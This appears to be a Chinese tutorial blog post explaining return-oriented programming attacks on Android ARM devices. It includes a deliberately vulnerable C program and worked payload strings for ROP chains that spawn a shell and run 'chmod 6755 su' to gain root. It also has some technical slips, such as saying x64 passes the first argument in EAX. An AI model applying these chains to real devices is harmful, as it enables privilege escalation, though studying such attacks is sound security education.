针对Android上的ROP攻击剖析

引言
       ROP(Return-oriented programming),即“返回导向编程技术”。其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的的代码,普通的杀毒引擎对ROP攻击是无计可施的。

栈溢出漏洞及栈溢出攻击
          在介绍ROP技术原理前,需要先介绍一下栈溢出漏洞。
          栈溢出(stack-based buffer overflows)算是安全界常见的漏洞。一方面因为程序员的疏忽,使用了 strcpy、sprintf 等不安全的函数,增加了栈溢出漏洞的可能。另一方面,因为栈上保存了函数的返回地址等信息,因此如果攻击者能任意覆盖栈上的数据,通常情况下就意味着他能修改程序的执行流程,从而造成更大的破坏。这种攻击方法就是栈溢出攻击(stack smashing attacks)
         栈溢出攻击的原因是由于程序中缺少错误检测,另外对缓冲区的潜在操作(比如字符串的复制)都是从内存低址到高址,而函数调用的返回地址往往就在缓冲区的上方(当前栈底),这为我们覆盖返回地址提供了条件。下面是stack smashing attacks示意图

           下面是一个存在栈溢出的DEMO:

         #include <stdio.h>
           #include <string.h>

           int bof(FILE *badfile){
            char buffer[20];
            fread(buffer, sizeof(char), 100, badfile); 
            return 1; 
          }

          int main(){
            FILE *badfile;
            badfile = fopen("badfile", "r");
            bof(badfile);

            printf("Returned Properly\n");
            fclose(badfile);
            return 0;
         }

         DEMO的逻辑很简单,就是从badfile文件中读取最长100字节的数据,然而buffer的长度只有20字节,所以这里是有可能发现栈溢出的。

下面是在cygwin的环境下编译出来的汇编代码(我已经把一些对逻辑理解无关的细节去掉):

_main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $32, %esp
call ___main
movl $LC0, 4(%esp)
movl $LC1, (%esp)
call _fopen
movl %eax, 28(%esp)
movl 28(%esp), %eax
movl %eax, (%esp)
call _bof
movl $LC2, (%esp)
call _puts
movl 28(%esp), %eax
movl %eax, (%esp)
call _fclose
movl $0, %eax
leave
ret

_bof:
pushl %ebp
movl %esp, %ebp
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, 12(%esp)
movl $100, 8(%esp)
movl $1, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call _fread
movl $1, %eax
leave
ret


       我们只关注从main进入bof以及bof执行完毕后返回main这个过程。
  • 在调用从call __fopen开始看,在进入__bof前,badfile地址已经入栈。
  • call _bof语句的作用则是把下一条指令(movl $LC2, (%esp))入栈,也就是_bof执行完毕后的返回地址
  • 在进入_bof后,第一时间把ebp入栈,ebp是当前栈底,用于恢复esp的。
       整个堆栈的内存布局如下所示:

       从分布图可以看到,系统实际分配给buffer的长度是28字节,接下来就是旧的栈底地址,bof返回地址和badfile地址。因此当badfile的内容长度是低于28字节的情况下,程序依然可以正常运行。但当badfile的内容长度超出28字节,就会直接把old EBP和ret address覆盖掉,这就达到了修改返回地址的目的了。

ROP的前世今生
      前面大家对stack smashing attacks有了一个感性的认知之后,接下来我们再来了解一下ROP技术的发展过程。

      stack smashing attacks
      这种攻击手段,是最早栈溢出攻击的方式,前面已经做了详细的分析了。
      stack smashing attacks并不是无敌的,其对抗技术就是DEP(Data Execution Prevention )ASLR(Address Space Layout Radomization),通过这两种技术的保护下Stack smashing attacks一定程度上揭制。

      Return-to-library technique
      简称“Ret2Lib”,这种技术可以绕过DEP的保护,其核心思想是把返回地址直接指向系统某个已存在的函数(一般是system,因为其使用简单,参数只有一个),这样同样可以达到攻击的目的。再来看刚才的例子,如果在badfile构造一些数据,使其被bof函数读取后,达到如下堆栈分布:

        这样当程序执行完bof后,马上就跳转到system函数了,然后去获取其第一个函数,即&"/bin/sh",这样就让程序直接跑起了一个sh进程了。试想一下,如果这个程序是一个具备suid的程序,那就意味着我们轻易就获得了root权限了。

      Borrowed Code Chunks
     "Ret2Lib"一直工作得很好,直接x64体系的出现。x64相比于x86,最后的区别是函数参数的传递不再完全依赖堆栈,其规定函数的第一个参数必须保存到第一个寄存器即EAX,这导致单纯的把参数地址放在堆栈并不能很好的工作,除非函数本身不需要参数。因此,在这种情况下,Borrowed Code Chunks技术就诞生了。这种技术是Ret2Lib技术的一个思维突破,它不再单纯把返回地址指向整个函数入口,而且还包括函数中任意的指令片断。还是回到刚才的DEMO,如果要实现先把&"/bin/sh"的地址赋值给EAX,那么我们可以尝试寻找下列指令:
POP %EAX
ret
或者
POP %EAX
POP %EBX
JMP %EBX
等等
      假如我们找到前者的指令,这样我们在badfile写入如下数据:[POP_address][&/bin/sh][system_address][fake_ebp][fake_retaddress],同样可以达到攻击目标。

       Retrun-Oriented-Programming
       Borrowed Code Chunk最终还是需要依赖现有的链接库函数,如果链接库本身没有提供适合的函数的情况下,Borrowed Code Chunk就无计可施,这时ROP技术就应运而生了。 ROP的指导思想就是希望所有的恶意攻击都通过现存函数的指令片断串连而成。这种指令片断通过跳转指令(x86上是RET和JMP, ARM上是pc的相关指令)可以相互连接的逻辑片断,称为gadget。ROP攻击最终的体现就是一串gadgets。
       ROP的强大之处在于,只要找到一个溢出缺陷,并且堆栈空间足够大,就可以实现任何逻辑,而且ROP攻击一直是各大病毒扫描引擎的难题。

ROP在ARM上的可行性
      由于x86(x64)跟ARM的PCS规范不同,而且指令格式也不一致,但ROP的思想同样可以作用于ARM平台两者的指令对比:


     寄存器作用也不尽相同

     r15即pc,是程序计数器,相对于x86上的EIP
     r14即lr,连接寄存器,相对于x86上没有对应
     r13即sp,堆栈寄存器,相对于x86上的ESP
     r11(r7)即fp, 栈底寄存器,相对于x86上的EBP
     r4 – r10, r12,作为局部变量使用
     r0 – r3,保存参数的前三个参数,如果存在四个参数,则放入堆栈,这个是跟x86最大的区别
     r0保存函数的返回值, 跟x86上保存在EAX一致
     ARM里pc可以直接修改,这在一定程度上为ROP攻击提供便利

     android上实施ROP攻击
     目前市面上大部android手机都是基于ARM平台的,因此理论上在android上实现ROP攻击是可行的,但也需要注意到,android上的libc是bionic libc,而不是普遍使用glibc,google对其提高了其安全性,把大部分涉及r0的指令都优化掉了,这就大大提高了ROP攻击的难度。

    攻击演示
      前面说了一大堆理论,下面我们开始做一些演示。

      所使用的工具如下:
              arm-linux-androideabi(android上的交叉编译器)
              IDA 6.1(用于远程调试android )
              python环境(用于的生成shellcode)
              addp (用于快速查找系统函数地址)
              addsp(用于快速验证libc.so中的字符串地址是否正确)

       DEMO1,修改bof返回地址
       我们先以一个简单的DEMO开始,还是前面提及的漏洞DEMO,我们先看看其在ARM下的编码



            其中0x83c4是bof调用后要执行的指令,而是0x83ce则是我们跳转的地址。下面是bof的代码




           通过代码,我们可以得到其栈的内存分布图,发下所示:



        从图可以看到,系统给buffer分析的长度正是好20字节,我们先记录下当前old R7的值,在我的手机上为0xBEFFFA70,而我们需要修改的是LR的值,要改为0x000083CE。因此我们构造如下shellcode:
'A' * 20 + '\x70\xFA\xFF\xBE' + '\xCF\x83\x00\x00'  (PS:ARM上是使用LE存储)
       另外有一点需要注意,由于在ARM上存在ARM(32位)和Thumb(16位)两种指令格式,系统是通过目标地址的bit[0]作为判断依据的,如果bit[0]为1,则自动转为thumb模式执行,否则则以ARM方式执行。我们的DEMO是以thumb方式编译的,因此最终跳转的地址应该是0x000083CF。

        DEMO2,执行system("/system/bin/sh")
        再来一个难度高一点。要实现这个DEMO,我们需要先寻找libc.so的基地址,在我手机上,libc.so的基地址是0x40025000,有了基地址,我们就计算出如下地址:

        ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
        /system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F

       另外,我们需要寻找适合的gadget来完成对r0的赋值,最后我找到mallinfo函数的片断,可以满足这个要求,见mallinfo的指令:


       见0x16F720x16F70两条指令,我们可以先跳到0x16F72,把“/system/bin/sh”的地址赋值给r4,接着控制pc,跳转至0x16F70,这样就间接把“/system/bin/sh”赋值给r0了。然后再把pc指向system即可。

       列一下我们所关注的地址:

       baseaddr: 0x40025000
       mallinfo: 0x00016F68 + 0x40025000 = 0x4003BF68
       ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
       &/system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F
       MOVS R0, R4 : 0x00016F70 + 0x40025000 = 0x4003BF70
       POP {R4, PC}: 0x00016F72 + 0x40025000 = 0x4003BF72

       最后我们构造的shellcode如下:
       'A' * 24 + '\x73\xBF\x03\x40' + '\x7F\xFA\x05\x40' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'


       DEMO3,执行任意脚本
       DEMO2只可以执行"/system/bin/sh",但往往这并不能被利用,因为我们无法跟目标进程通讯,我们往往更希望是直接让root目标进程运行提权脚本。因此在这个demo里,我们实现执行任意的脚本。
       我们以“chmod 6755 su”作为试验

       首先想到的就是希望把脚本写到buffer里,然后在DEMO2的基础上,把r0的值指向buffer的地址。但实际发现这并不可行,因为system函数本身也需要申请栈空间,见如下代码所示:



       system本身是需要申请32字节的栈空间,如果用DEMO2的方式的话,写入buffer的脚本就有可能会被覆盖,示意图如下所示:


       这造成buffer最终只能存在7字节长度的脚本,这显然非常不好。因此我们需要另想办法,让sp往hight端递增,寻找类似如下的指令:

                             add sp, sp, #N
                             pop {r7, pc}
       这种指令可以说到处都是,看到bof最后的指令:



        我们先把pc指向ADD SP, SP, #0x20,就可以让SP往前挪32个字节,正好可以抵消掉system的32字节,示意图如下:


       再来看一下我们所关注的地址们:

         baseaddr: 0x40025000
         R0: 0xBEFFFA54
         ADD SP, SP, #0x20 : 0x0000839A
         POP {R7, PC}:  0x0000839C

       最后我们构造出如下shellcode:
       'chmod 6755 su' + '\x00' * 11 + '\x9B\x83\x00\x00' + 'A' * 32 + 'A' * 4 + '\x73\xBF\x03\x40' + '\x54\xFA\xFF\xBE' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'


       为了更好解释整个逻辑跳转,下面附上gadgets链示意图:





最后

  • 通过上面几个DEMO,大家应该可以感受到ROP的强大
  • Android未来的病毒的发展趋势,必然越来越高级,越来越偏向底层
  • 对抗ROP攻击一直是安全界的难题,关于如何对抗ROP也有很多相关的课题
  • 尽量少用strcpy, gets等没有长度检查的函数



     分享中涉及的所有代码和所使用的工具都可以向我索取



相关参考

  • 《Return-to-libc Attack Lab》——Wenliang Du, Syracuse University
  • 《ARM嵌入式系统结构与编程》—— 邱铁
  • 《缓冲区溢出》——程绍银
  • 《Exploitation on ARM》 —— STRI/Advance Technology Lab/Security
  • 《ARM EXPLOITATION ROPMAP》——Long Le

阅读更多
换一批

没有更多推荐了,返回首页